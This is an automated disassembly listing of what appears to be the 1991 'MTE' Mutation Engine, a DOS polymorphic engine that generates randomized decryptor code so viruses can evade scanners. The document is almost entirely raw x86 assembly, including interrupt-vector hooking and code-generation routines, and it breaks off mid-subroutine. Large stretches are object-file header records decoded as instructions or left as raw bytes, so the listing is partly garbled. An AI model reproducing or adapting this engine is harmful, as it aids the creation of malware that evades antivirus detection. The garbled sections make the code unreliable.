PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ MTE ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 17-Aug-91 ÛÛ ;ÛÛ Version: ÛÛ ;ÛÛ Code type: zero start ÛÛ ;ÛÛ Passes: 9 Analysis Options on: none ÛÛ ;ÛÛ ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 0 ; (0000:0000=0E8h) data_2e equ 0Ch ; (0000:000C=5) data_3e equ 63h ; (0000:0063=0F6h) data_4e equ 12Eh ; (0000:012E=0) data_5e equ 132h ; (0000:0132=0F000h) data_6e equ 134h ; (0000:0134=0E0h) data_7e equ 13Ch ; (0000:013C=0E0h) data_8e equ 150h ; (0000:0150=0E0h) data_9e equ 559h ; (0000:0559=0) data_10e equ 132h ; (0101:0132=70h) data_11e equ 71h ; (5F44:0071=0FFh) data_12e equ 0E7h ; (5F44:00E7=0FFFFh) data_13e equ 116h ; (5F44:0116=0FFh) data_14e equ 129h ; (5F44:0129=0FFh) data_15e equ 359h ; (5F44:0359=0FFh) data_26e equ 9101h ; (78CA:9101=0) data_27e equ 23h ; (FFE7:0023=0) data_28e equ 63h ; (FFE7:0063=0) data_29e equ 129h ; (FFE7:0129=0) data_30e equ 135h ; (FFE7:0135=0) data_31e equ 136h ; (FFE7:0136=0) data_32e equ 150h ; (FFE7:0150=0) data_33e equ 159h ; (FFE7:0159=0) data_34e equ 559h ; (FFE7:0559=0) data_35e equ 3585h ; (FFE7:3585=36h) seg_a segment byte public assume cs:seg_a, ds:seg_a org 0 mte proc far start: or byte ptr [bx+di],0 pop es db 'mte.ASM', 1Bh db 88h, 1Fh, 00h, 00h, 00h db 'Turbo Assembler Version 2.5' db 0B4h, 88h, 0Fh, 00h, 40h,0E9h db 0C9h, 93h, 12h, 17h, 07h db 'mte.ASM_' db 88h, 03h, 00h, 40h,0E9h, 4Ch db 96h, 02h, 00h, 00h, 68h, 88h db 03h, 00h, 40h,0A1h, 94h, 96h db 0Ch, 00h, 05h, 5Fh, 54h, 45h db 58h, 54h, 04h, 43h, 4Fh, 44h db 45h, 96h, 98h, 07h, 00h, 48h db 34h, 08h, 02h, 03h, 01h,0D7h db 96h, 0Ch, 00h, 05h, 5Fh, 44h db 41h, 54h, 41h, 04h, 44h, 41h db 54h, 41h,0C2h, 98h, 07h, 00h db 48h, 00h, 00h, 04h, 05h, 01h db 0Fh, 96h, 08h, 00h, 06h, 44h db 47h, 52h, 4Fh, 55h, 50h, 8Bh db 9Ah, 06h, 00h, 06h,0FFh, 02h db 0FFh, 01h, 59h, 8Ch, 14h, 00h db 8, 'RND_INIT' db 00h, 07h, 52h, 4Eh, 44h, 5Fh db 47h, 45h, 54h, 00h,0B7h, 90h db 10h, 00h, 00h, 00h, 00h, 00h db 07h, 4Dh, 41h, 58h, 5Fh, 41h db 44h, 44h, 00h, 02h, 00h, 49h db 90h, 14h, 00h, 00h, 00h, 00h db 00h, 0Bh db 'MAX_ADD_LEN' db 19h, 00h, 00h,0ECh, 90h, 11h db 00h, 01h, 01h db 0Ah, 'MUT_ENGIN' data_16 db 45h db 09h, 00h, 00h, 3Fh, 90h, 11h db 00h, 00h, 00h, 00h, 00h db 8, 'CODE_LEN4', 8 db 00h,0C2h, 90h, 0Fh, 00h, 01h db 01h db 8, 'CODE_TOP4', 8 db 00h,0AEh, 90h, 11h, 00h, 01h db 01h db 0Ah, 'CODE_START' db 00h, 00h, 00h, 4Bh, 90h, 10h db 00h data_17 db 0 db 0, 0 data_18 db 0 db 07h, 4Dh data_19 db 41h db 58h, 5Fh, 4Ch, 45h, 4Eh data_20 db 72h data_21 dw 5 db 0BEh, 88h, 04h, 00h loc_1: inc ax mov ds:data_26e,al ; (78CA:9101=0) mov al,byte ptr ds:[3E8h] ; (78CA:03E8=0C3h) add [bx+si],ax add [di+74h],cl inc bp and [bx+si],dh locloop_2: cmp cs:[bx+si],si loopz locloop_2 ; Loop if zf=1, cx>0 push ds push dx push bp call sub_2 ; (017C) mov bx,dx xchg ax,bp pop dx pop si pop bp sub bx,di push bx push di push cx call sub_5 ; (0222) pop cx pop si mov di,data_9e ; (0000:0559=0) sub di,cx push di push dx rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop cx pop dx pop si sub cx,dx sub di,dx mte endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near mov ax,ds:data_31e ; (FFE7:0136=0) neg ax retn sub_1 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near push es pop ds add cx,16h neg cx and cl,0FEh jnz loc_3 ; Jump if not zero dec cx dec cx loc_3: xchg ax,di mov ds:data_5e,ax ; (0000:0132=0F000h) loc_4: add ax,cx and al,0FEh jnz loc_5 ; Jump if not zero dec ax dec ax loc_5: push ax xchg ax,di mov di,data_6e ; (0000:0134=0E0h) stosw ; Store ax to es:[di] xchg ax,cx stosw ; Store ax to es:[di] xchg ax,bp stosw ; Store ax to es:[di] xchg ax,si stosw ; Store ax to es:[di] mov cl,20h ; ' ' shl cl,cl ; Shift w/zeros fill xor cl,20h ; ' ' mov [di-0Dh],cl loc_6: pop bp push bp push bx call sub_3 ; (01B2) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_3: mov di,data_7e ; (0000:013C=0E0h) mov cx,8 mov al,0FFh rep stosb ; Rep when cx >0 Store al to es:[di] mov di,159h mov bl,7 call sub_4 ; (01DD) dec di cmp di,159h je loc_7 ; Jump if equal push dx push di push bp mov ax,1 call sub_6 ; (0284) pop di xchg ax,bp stosw ; Store ax to es:[di] pop di pop dx loc_7: pop bx pop ax xor bp,bp ; Zero register ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_4: push ax push bx push dx push di xor ax,ax ; Zero register mov di,data_3e ; (0000:0063=0F6h) mov cx,di rep stosw ; Rep when cx >0 Store ax to es:[di] mov al,4 xchg al,[di+0Ch] push ax mov dx,[di+0Dh] mov di,359h push bp call sub_22 ; (04C3) pop bp call sub_19 ; (0448) pop ax pop di pop dx mov data_20,al ; (78CA:0135=72h) and al,1 sub data_19,al ; (78CA:012F=41h) push ax call sub_23 ; (04CE) pop ax add [si-1Dh],al xchg ax,bx pop bx sub ax,150h jc loc_6 ; Jump if carry Set jnz loc_8 ; Jump if not zero cmp [si-12h],ax jne loc_6 ; Jump if not equal loc_8: pop bx retn sub_2 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near add cx,dx mov dx,di xchg ax,di mov ax,ds:data_10e ; (0101:0132=70h) test ax,ax jnz loc_9 ; Jump if not zero mov di,data_34e ; (FFE7:0559=0) loc_9: mov bx,data_33e ; (FFE7:0159=0) push cx push ax loc_10: cmp bx,dx je loc_12 ; Jump if equal dec bx mov al,[bx] xor al,1 cmp al,61h ; 'a' je loc_11 ; Jump if equal xor al,9 loc_11: stosb ; Store al to es:[di] inc cx jmp short loc_10 ; (0236) loc_12: pop dx pop ax mov bx,data_32e ; (FFE7:0150=0) test dx,dx jz loc_13 ; Jump if zero xchg ax,cx mov al,0E9h stosb ; Store al to es:[di] mov bx,di xchg ax,dx stosw ; Store ax to es:[di] mov di,data_34e ; (FFE7:0559=0) loc_13: test byte ptr ds:data_30e,8 ; (FFE7:0135=0) jnz loc_14 ; Jump if not zero neg cx and cx,0Fh mov al,90h rep stosb ; Rep when cx >0 Store al to es:[di] loc_14: lea ax,[di-559h] ; Load effective addr add [bx],ax and al,0FEh add ds:data_31e,ax ; (FFE7:0136=0) call sub_1 ; (0176) mov ds,bp shr ax,1 ; Shift w/zeros fill mov cx,ax rep movsw ; Rep when cx >0 Mov [si] to es:[di] ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_6: push di push ax xor cx,cx ; Zero register mov ds,cx mov cx,cs mov bx,1A3h mov di,data_2e ; (0000:000C=5) cli ; Disable interrupts xchg cx,[di+2] xchg bx,[di] sti ; Enable interrupts push cx push bx push di push ds push es pop ds push cs mov bx,359h call sub_8 ; (02E4) xchg ax,bp pop es pop di cli ; Disable interrupts pop ax stosw ; Store ax to es:[di] pop ax stosw ; Store ax to es:[di] sti ; Enable interrupts pop bx push ds pop es mov di,data_28e ; (FFE7:0063=0) xor si,si ; Zero register mov cx,21h loc_15: xor ax,ax ; Zero register repe scasw ; Rep zf=1+cx >0 Scan es:[di] for ax jz loc_17 ; Jump if zero mov ax,[di-2] cmp ax,si jb loc_15 ; Jump if below mov dx,1 xchg ax,si mov ax,[di+40h] cmp ax,bx je loc_16 ; Jump if equal or ax,ax ; Zero ? jnz loc_15 ; Jump if not zero lodsb ; String [si] to al cbw ; Convrt byte to word xchg ax,dx loc_16: call sub_7 ; (02DC) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_7: mov [si],al inc si dec dx jnz loc_16 ; Jump if not zero jmp short loc_15 ; (02BA) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_8: push es push bx retf ; Return far loc_17: pop dx retn sub_5 endp push bp mov bp,sp push di push cx push bx push ax mov bx,[bp+2] mov al,[bx] jnz loc_18 ; Jump if not zero xchg ax,bx mov di,offset data_16 ; (78CA:00E7=45h) mov cx,21h repne scasw ; Rep zf=0+cx >0 Scan es:[di] for ax inc word ptr [di-44h] mov al,ch loc_18: cbw ; Convrt byte to word inc ax add [bp+2],ax pop ax pop bx pop cx pop di pop bp iret ; Interrupt return ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near mov di,data_29e ; (FFE7:0129=0) mov ax,101h stosb ; Store al to es:[di] stosw ; Store ax to es:[di] mov ah,81h mov ds:data_1e,ax ; (0000:0000=0E8h) loc_19: call sub_10 ; (0320) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_10: xchg ax,dx call sub_11 ; (0324) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_11: mov bl,[di-1] xor bh,bh ; Zero register mov si,bx mov cx,[si-1] cmp ch,6 jne loc_21 ; Jump if not equal loc_20: or dl,1 jmp short loc_23 ; (034F) loc_21: cmp ch,86h jne loc_22 ; Jump if not equal xor cl,cl ; Zero register inc bx loc_22: and al,[di+2] cmp al,bl jae $+22h ; Jump if above or = shr bl,1 ; Shift w/zeros fill jnc loc_23 ; Jump if carry=0 or cl,cl ; Zero ? jz loc_24 ; Jump if zero loc_23: or dl,dl ; Zero ? loc_24: mov al,0 jnz loc_25 ; Jump if not zero or bp,bp ; Zero ? jnz loc_20 ; Jump if not zero mov al,2 loc_25: or ch,ch ; Zero ? jns loc_26 ; Jump if not sign mov [di],si mov al,1 loc_26: mov [si],al jmp short loc_29 ; (0395) xchg ax,dx db 0D4h, 0Ch, 80h,0E5h, 80h, 74h db 02h,0D0h,0E8h, 40h, 40h, 40h db 8Ah,0E0h, 88h, 04h, 8Ah, 55h db 0FEh, 42h, 8Ah,0F2h,0FEh,0C6h db 88h, 75h,0FEh, 8Ah,0DAh,0B7h db 00h, 8Ah,0CFh, 73h, 04h, 3Ch db 06h, 72h, 02h loc_27: xchg cl,ch loc_28: xor ax,cx mov [bx],ax loc_29: shl si,1 ; Shift w/zeros fill mov [si+21h],dx inc byte ptr [di-1] mov al,[di-2] cmp al,[di-1] jb loc_ret_36 ; Jump if below jmp loc_19 ; (031D) loc_30: dec bp or dh,dh ; Zero ? jns loc_42 ; Jump if not sign mov dh,[si] inc bp jz loc_30 ; Jump if zero dec bp jnz loc_37 ; Jump if not zero push bx mov bx,offset ds:[2A7h] ; (78CA:02A7=7) xchg al,dh xlat cs:[bx] ; al=[al+[bx]] table cmp al,86h xchg al,dh xchg ax,bx mov cl,2Eh ; '.' mov al,ds:data_30e ; (FFE7:0135=0) jnz loc_32 ; Jump if not zero test al,2 jnz loc_31 ; Jump if not zero mov cl,3Eh ; '>' loc_31: test al,4 jmp short loc_34 ; (03DB) loc_32: test al,4 jnz loc_33 ; Jump if not zero mov cl,36h ; '6' loc_33: test al,2 loc_34: jz loc_35 ; Jump if zero mov al,cl stosb ; Store al to es:[di] loc_35: pop ax call sub_14 ; (0421) mov [si-1Ch],di stosw ; Store ax to es:[di] loc_ret_36: retn loc_37: mov dx,bp lea bp,[di+1] ; Load effective addr loc_38: stc ; Set carry flag retn xchg ax,[bx+si] xchg al,ds:data_35e[si] ; (FFE7:3585=36h) out 0Ah,ax ; port 0Ah, DMA-1 mask reg bit idiv byte ptr [bx+si-4Eh] ; al,ah rem = ax/data cmp dh,al je loc_ret_36 ; Jump if equal cmp byte ptr [si-1Dh],0FFh jne loc_42 ; Jump if not equal push ax or dh,dh ; Zero ? jz loc_39 ; Jump if zero or al,al ; Zero ? jnz loc_41 ; Jump if not zero mov al,dh loc_39: or bp,bp ; Zero ? jnz loc_40 ; Jump if not zero cmp al,[si] je loc_41 ; Jump if equal loc_40: pop bx or al,90h stosb ; Store al to es:[di] retn loc_41: pop ax loc_42: or al,18h xchg ax,bx sub_9 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_14 proc near stosb ; Store al to es:[di] xchg ax,bx mov cl,3 shl al,cl ; Shift w/zeros fill or al,dh stosb ; Store al to es:[di] retn sub_14 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_16 proc near mov bx,ax shr al,1 ; Shift w/zeros fill mov cx,ax shl cx,1 ; Shift w/zeros fill mov di,data_27e ; (FFE7:0023=0) loc_43: repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al jnz loc_38 ; Jump if not zero lea si,[di-22h] ; Load effective addr shr si,1 ; Shift w/zeros fill cmp byte ptr [si],3 jb loc_43 ; Jump if below ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_17: lea ax,[di-22h] ; Load effective addr ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_18: retn sub_16 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_19 proc near mov al,data_18 ; (78CA:012C=0) cbw ; Convrt byte to word shl al,1 ; Shift w/zeros fill call sub_16 ; (042B) jc loc_ret_53 ; Jump if carry Set mov ds:data_14e,al ; (5F44:0129=0FFh) loc_44: call sub_16 ; (042B) jnc loc_45 ; Jump if carry=0 xor al,al ; Zero register loc_45: push ax shr al,1 ; Shift w/zeros fill mov [bx+21h],al shr bl,1 ; Shift w/zeros fill lahf ; Load ah from flags mov al,[bx] and al,7Fh cmp al,3 jne loc_46 ; Jump if not equal sahf ; Store ah into flags jc loc_52 ; Jump if carry Set ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_21: inc ax jmp short loc_51 ; (04B7) loc_46: cmp al,4 jne loc_48 ; Jump if not equal sahf ; Store ah into flags jnc loc_47 ; Jump if carry=0 mov si,bx mov cl,8 rol word ptr [bx+si+21h],cl ; Rotate loc_47: dec ax jmp short loc_51 ; (04B7) loc_48: cmp al,6 jb loc_52 ; Jump if below jnz loc_50 ; Jump if not zero shl bl,1 ; Shift w/zeros fill mov bl,[bx+22h] shl bl,1 ; Shift w/zeros fill mov si,[bx+21h] xor ax,ax ; Zero register mov dx,1 mov cx,ax mov di,dx loc_49: mov [bx+21h],di dec si jz loc_52 ; Jump if zero inc si div si ; ax,dx rem=dx:ax/reg push dx mul di ; dx:ax = reg * ax sub cx,ax xchg cx,di mov ax,si xor dx,dx ; Zero register pop si jmp short loc_49 ; (049E) loc_50: xor al,0Fh loc_51: mov [bx],al loc_52: pop ax or al,al ; Zero ? jnz loc_44 ; Jump if not zero shr data_17,1 ; (78CA:0129=0) Shift w/zeros fill loc_ret_53: retn sub_19 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_22 proc near mov ds:data_4e,bl ; (0000:012E=0) push dx push di call sub_9 ; (0310) pop di pop dx ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_23: push di mov di,offset ds:[144h] ; (78CA:0144=0) mov ax,0FFFFh stosw ; Store ax to es:[di] inc al stosw ; Store ax to es:[di] stosw ; Store ax to es:[di] dec al stosw ; Store ax to es:[di] mov [di+3],al mov bl,[di-23h] push bx push dx ;* call sub_32 ;*(0682) db 0E8h, 9Ah, 01h mov si,di call sub_35 ; (06E6) pop dx pop bx pop di ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_25: push bx inc bp jz loc_54 ; Jump if zero dec bp ;* jnz loc_57 ;*Jump if not zero db 75h, 62h ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_26: inc bp loc_54: dec bp inc dx jz loc_55 ; Jump if zero dec dx dec bp mov al,[si] ;* call sub_42 ;*(095B) db 0E8h, 58h, 04h inc bp loc_55: pop bx push di call sub_36 ; (070E) or bp,bp ; Zero ? jnz loc_56 ; Jump if not zero pop cx dec bp mov ax,150h xchg ax,[si-1Ch] or dh,dh ; Zero ? js $+22h ; Jump if sign=1 inc bp push cx push ax mov al,[si+3] and al,0B7h cmp al,87h jne loc_58 ; Jump if not equal cmp bp,[si-12h] jne loc_58 ; Jump if not equal db 6Dh, 9Ch, 1Fh, 00h, 84h, 6Ah db 16h, 01h, 01h, 85h, 94h, 16h db 01h, 02h, 85h,0D8h, 16h, 01h db 02h, 85h,0DCh, 16h, 01h, 02h db 0C5h, 47h, 14h, 01h, 01h,0C6h db 71h, 14h, 01h, 01h,0AEh,0A0h db 0E7h, 03h, 01h loc_56: in al,3 ; port 3, DMA-1 bas&cnt ch 1 xor byte ptr [di-4],2 shl byte ptr [si+3],1 ; Shift w/zeros fill jns loc_62 ; Jump if not sign mov bl,0F7h mov al,3 jmp short loc_61 ; (05A3) cmp cx,15Ch jne loc_59 ; Jump if not equal sub cx,3 sub di,3 mov bl,[si] loc_58: xor bh,bh ; Zero register dec byte ptr [bx+si-10h] loc_59: mov bx,data_8e ; (0000:0150=0E0h) jmp short loc_65 ; (05E7) or dh,dh ; Zero ? jns loc_60 ; Jump if not sign mov dh,[si] jmp short loc_60 ; (0592) push bp call sub_40 ; (0737) mov al,[si+1] or al,90h stosb ; Store al to es:[di] pop ax or dh,dh ; Zero ? jns loc_60 ; Jump if not sign xchg ax,dx loc_60: pop ax mov bh,0FFh ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_27: mov byte ptr [di],0CBh retn db 0E8h, 00h, 00h ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_28: and al,2 add al,87h xchg ax,bx mov al,dh loc_61: ;* call sub_13 ;*(03D6) db 0E8h, 30h,0FEh loc_62: mov al,[si] cmp di,359h jae loc_63 ; Jump if above or = push ax dec bp xor dl,dl ; Zero register mov dh,al shr byte ptr [si-1Eh],1 ; Shift w/zeros fill call sub_25 ; (04F0) push dx push di call sub_21 ; (0471) call sub_31 ; (0675) pop di pop dx push cx call sub_26 ; (04F7) pop cx pop ax ;* call sub_44 ;*(0984) db 0E8h,0B7h, 03h or ch,ch ; Zero ? js loc_64 ; Jump if sign=1 loc_63: or al,40h ; '@' stosb ; Store al to es:[di] stosb ; Store al to es:[di] loc_64: mov al,75h ; 'u' stosb ; Store al to es:[di] pop bx pop ax mov cx,ax sub ax,di dec ax stosb ; Store al to es:[di] or al,al ; Zero ? js loc_65 ; Jump if sign=1 xor bx,bx ; Zero register retn loc_65: call sub_27 ; (0595) push cx mov dx,559h cmp di,359h jae loc_72 ; Jump if above or = push bx mov bl,7 mov dx,bp ;* call sub_24 ;*(04EC) db 0E8h,0F0h,0FEh push di mov di,offset ds:[158h] ; (78CA:0158=95h) xor bx,bx ; Zero register mov dx,di mov cl,[si-18h] loc_66: shr cl,1 ; Shift w/zeros fill pushf ; Push flags jnc loc_67 ; Jump if carry=0 cmp bh,[bx+si-10h] jne loc_67 ; Jump if not equal lea ax,[bx+50h] ; Load effective addr std ; Set direction flag stosb ; Store al to es:[di] loc_67: inc bx popf ; Pop flags jnz loc_66 ; Jump if not zero inc di cmp di,dx jae loc_70 ; Jump if above or = cmp bh,[si-1Dh] jne loc_68 ; Jump if not equal mov di,dx mov byte ptr [di],60h ; '`' jmp short loc_70 ; (0643) loc_68: push di loc_69: call sub_29 ; (062F) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_29: and al,7 cbw ; Convrt byte to word xchg ax,bx add bx,di cmp bx,dx ja loc_69 ; Jump if above mov al,[di] xchg al,[bx] stosb ; Store al to es:[di] cmp di,dx jne loc_69 ; Jump if not equal pop di loc_70: pop bp mov cx,bp sub cx,di cmp word ptr [si-1Ah],0 je loc_71 ; Jump if equal add cx,15Ch sub cx,di loc_71: mov dx,[si-14h] mov ax,dx add dx,cx add ax,[si-12h] pop bx cmp word ptr [si-12h],0 jne loc_73 ; Jump if not equal loc_72: mov ax,dx loc_73: call sub_30 ; (066F) xchg ax,dx pop dx mov bx,[si-1Ch] sub_22 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_30 proc near sub ax,[si-16h] mov [bx],ax retn sub_30 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_31 proc near xor cx,cx ; Zero register mov al,data_17 ; (78CA:0129=0) cbw ; Convrt byte to word xchg ax,bx mov dx,0FFFEh mov al,[bx] cmp al,3 je loc_74 ; Jump if equal cmp al,4 jne loc_ret_75 ; Jump if not equal neg dx loc_74: shl bl,1 ; Shift w/zeros fill push bx inc bx call sub_33 ; (0696) pop bx mov dx,2 ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_33: mov bl,[bx+21h] cmp bh,[bx] jne loc_ret_75 ; Jump if not equal mov si,bx add dx,[bx+si+21h] or dl,dl ; Zero ? jz loc_ret_75 ; Jump if zero mov [bx+si+21h],dx dec cx loc_ret_75: retn sub_31 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_34 proc near xor bh,bh ; Zero register and byte ptr [bx],7Fh mov dl,[bx] mov ax,bx shl bl,1 ; Shift w/zeros fill mov bx,[bx+21h] cmp dl,3 jb loc_ret_80 ; Jump if below push ax push bx call sub_34 ; (06AB) pop bx mov bl,bh push dx call sub_34 ; (06AB) xchg ax,bx pop cx pop bx mov dh,[bx] sub dh,0Dh jz loc_76 ; Jump if zero add dh,7 jnz loc_77 ; Jump if not zero loc_76: mov [di+3],dh mov [di-0Eh],dh jmp short loc_79 ; (0705) loc_77: cmp dh,5 jae loc_79 ; Jump if above or = ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_35: or dl,dl ; Zero ? jnz loc_78 ; Jump if not zero cmp dl,[di-1Dh] je loc_79 ; Jump if equal sub al,0Eh and al,0Fh cmp al,5 jae loc_78 ; Jump if above or = cmp al,2 jae loc_79 ; Jump if above or = cmp dh,3 jb loc_79 ; Jump if below loc_78: mov [di-0Fh],bh mov dl,80h loc_79: or dl,cl and dl,80h or dl,[bx] mov [bx],dl ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_36: loc_ret_80: retn sub_34 endp call sub_38 ; (0720) call sub_37 ; (0715) ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_37 proc near and al,7 jz loc_83 ; Jump if zero xor al,al ; Zero register cmp al,[si+3] je loc_83 ; Jump if equal ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_38: loc_81: call sub_39 ; (0723) ;ßßßß External Entry into Subroutine 